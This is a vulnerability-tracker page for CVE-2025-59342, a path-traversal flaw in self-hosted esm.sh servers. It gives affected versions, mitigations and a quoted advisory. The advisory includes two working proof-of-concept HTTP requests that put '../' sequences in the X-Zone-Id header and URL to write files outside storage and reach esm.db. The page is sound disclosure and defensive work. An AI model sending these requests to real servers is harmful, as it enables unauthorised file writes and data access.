Live › vulnerability › CVE-2025-59342
Go to dashboardThe esm.sh server builds a filesystem path from the X-Zone-Id HTTP header without restricting it to the storage directory. A request with ../ sequences in that header can write attacker-supplied files outside the intended storage location, and the report says this could lead to code execution or tampering with application files.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-29 02:14 UTC, 0h before NVD. All times on this page are UTC.
Teams that run esm.sh as a self-hosted server (esmd) and expose its /transform endpoint to clients they do not fully trust. The flaw is in the server's handling of a request header, so a locked-down internal deployment with no untrusted access is much less exposed. Users of the public esm.sh CDN or code that only imports from it are not affected by this self-hosting issue.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| github.com/esm-dev/esm.sh | go | <= 136 | 136.1 |
go list -m github.com/esm-dev/esm.sh in the project, or check the version the esm.sh binary reports, and compare it to 136136.1.. in the X-Zone-Id header at a reverse proxyEach row is the first time that source carried this signal. The analyst’s rows are its own findings.
A path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories (example observed: ~/.esmd/modules/transform/<id>/ instead of ~/.esmd/storage/modules/transform).
Severity: Medium
Component / Endpoint:
POST /transform — handling of X-Zone-Id header
The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411
Impact: Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.
Request (attacker-supplied X-Zone-Id contains path traversal):
POST /transform HTTP/1.1
Host: localhost:8888
User-Agent: Den/8.7.1
Accept: */*
Connection: keep-alive
Referer: http://localhost:9999/
Content-Type: application/json
X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/
Content-Length: 325
{
"filename": "example2.js",
"lang": "js",
"code": "console.log('hello');",
"importMap": {
"imports": {
"react": "https://esm.sh/react",
"react-dom": "https://esm.sh/react-dom"
}
},
"jsxImportSource": "react",
"target": "es2022",
"sourceMap": "external",
"minify": true
}
<img width="2496" height="1214" alt="Screenshot 2025-09-16 at 21 40 57" src="https://github.com/user-attachments/assets/f878c3f0-5d7d-410c-97ac-20116f5496db" />
Observed result: file written to ~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js instead of the intended ~/.esmd/storage/modules/transform/.
This can be trigger with another path traversal request below
GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1
Host: localhost:8888
User-Agent: localhost
Accept: */*
Connection: keep-alive
X-Zone-Id: ../
Referer: http://localhost:9999/
<img width="2516" height="710" alt="Screenshot 2025-09-16 at 21 37 07" src="https://github.com/user-attachments/assets/1fcfbed3-c1d2-4093-82d8-4afda225c685" />
Simply remove any .. in the X-Zone-Id header before actually process the file.
This page as .md · .json · in your agent: get_signal("CVE-2025-59342")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.